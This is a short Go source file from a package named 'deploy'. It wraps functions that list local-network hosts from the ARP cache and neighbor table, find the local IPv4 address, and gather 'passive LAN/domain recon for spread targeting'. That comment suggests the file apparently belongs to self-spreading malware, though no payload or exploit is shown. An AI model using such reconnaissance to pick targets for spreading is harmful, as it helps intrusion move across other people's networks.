22 lines
633 B
Go
22 lines
633 B
Go
package deploy
|
|
|
|
// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets.
|
|
func ArpNeighborIPs() []string {
|
|
return arpHosts()
|
|
}
|
|
|
|
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
|
|
func NeighborTableIPs() []string {
|
|
return neighborHosts()
|
|
}
|
|
|
|
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
|
|
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
|
|
return CollectNetworkHints(maxHosts)
|
|
}
|
|
|
|
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
|
func PrimaryLocalIPv4() (string, error) {
|
|
return primaryLocalIPv4()
|
|
}
|